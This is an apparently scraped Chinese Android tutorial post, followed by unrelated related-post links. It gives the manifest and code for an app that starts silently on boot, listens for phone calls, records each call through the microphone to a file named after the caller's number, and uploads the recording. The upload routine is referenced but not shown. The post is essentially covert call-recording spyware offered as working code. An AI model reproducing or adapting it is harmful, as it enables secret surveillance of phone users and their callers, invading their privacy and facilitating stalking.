开启service听话筒内容
来源:互联网 发布:网站数据库下载工具 编辑:程序博客网 时间:2024/05/17 08:04
接收开机广播然后开启服务,利用TelephonyManager, MediaRecorder录音,然后上传到网络
service,receiver开机以及权限的注册清单
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.phonelistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <service android:name=".PhoneService"/> <receiver android:name=".BootBroadcastReceiver"> <intent-filter > <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> </application> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 在SDCard中创建与删除文件权限 --><uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/><!-- 往SDCard写入数据权限 --><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <!-- 访问internet权限 --><uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.RECORD_AUDIO"/> </manifest>利用PhoneStateListene和MediaRecorder录音
public class PhoneService extends Service {@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onCreate() {super.onCreate();TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);}private final class PhoneListener extends PhoneStateListener{private String incomingNumber;private File file;private MediaRecorder mediaRecorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch (state) {case TelephonyManager.CALL_STATE_RINGING://来电this.incomingNumber = incomingNumber;break;case TelephonyManager.CALL_STATE_OFFHOOK://接通电话file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");mediaRecorder = new MediaRecorder();mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);mediaRecorder.setOutputFile(file.getAbsolutePath());mediaRecorder.prepare();mediaRecorder.start();//开始录音break;case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态if(mediaRecorder != null){mediaRecorder.stop();mediaRecorder.release();mediaRecorder = null;uploadFile();}break;}} catch (Exception e) {e.printStackTrace();}}
开机后显式激活service
public class BootBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent service = new Intent(context, PhoneService.class);//显式/隐式context.startService(service);//Intent激活组件(Service)}}
0 0
- 开启service听话筒内容
- 只能录话筒声音不能录播放内容的解决方法
- 优质内容-FM听广播
- iOS 引导用户到系统设置开启定位 访问照片 话筒 相册 相机
- Android 开启服务Service
- 跨应用开启Service
- android 开启service
- 数据库开启 Service broker
- android 开启service和绑定service
- android 判断service是否开启
- android 判断service是否开启
- android 判断service是否开启
- android service 中开启activity
- Android判断Service是否开启
- Service:bind方式开启服务
- 听
- 没听老师话吧内容改了
- 课堂内容听得懂,敲不出代码怎么办?
- 安全卫士第九天笔记
- c++截取字符串
- 205. Isomorphic Strings
- [LeetCode]94. Binary Tree Inorder Traversal
- 3721: PA2014 Final Bazarek|贪心
- 开启service听话筒内容
- QVTKWidget与Qt5.5.0以后版本不兼容!
- fragment 的懒加载数据
- 猜猜我在想什么(RadioButtonID)
- 磁盘管理
- ant安装、环境变量配置及验证
- 2015年第六届蓝桥杯试题(C/C++本科B组)
- windows下gun-gcc的一些编译参数
- PageSlidingTab的改进,项目中可以直接使用。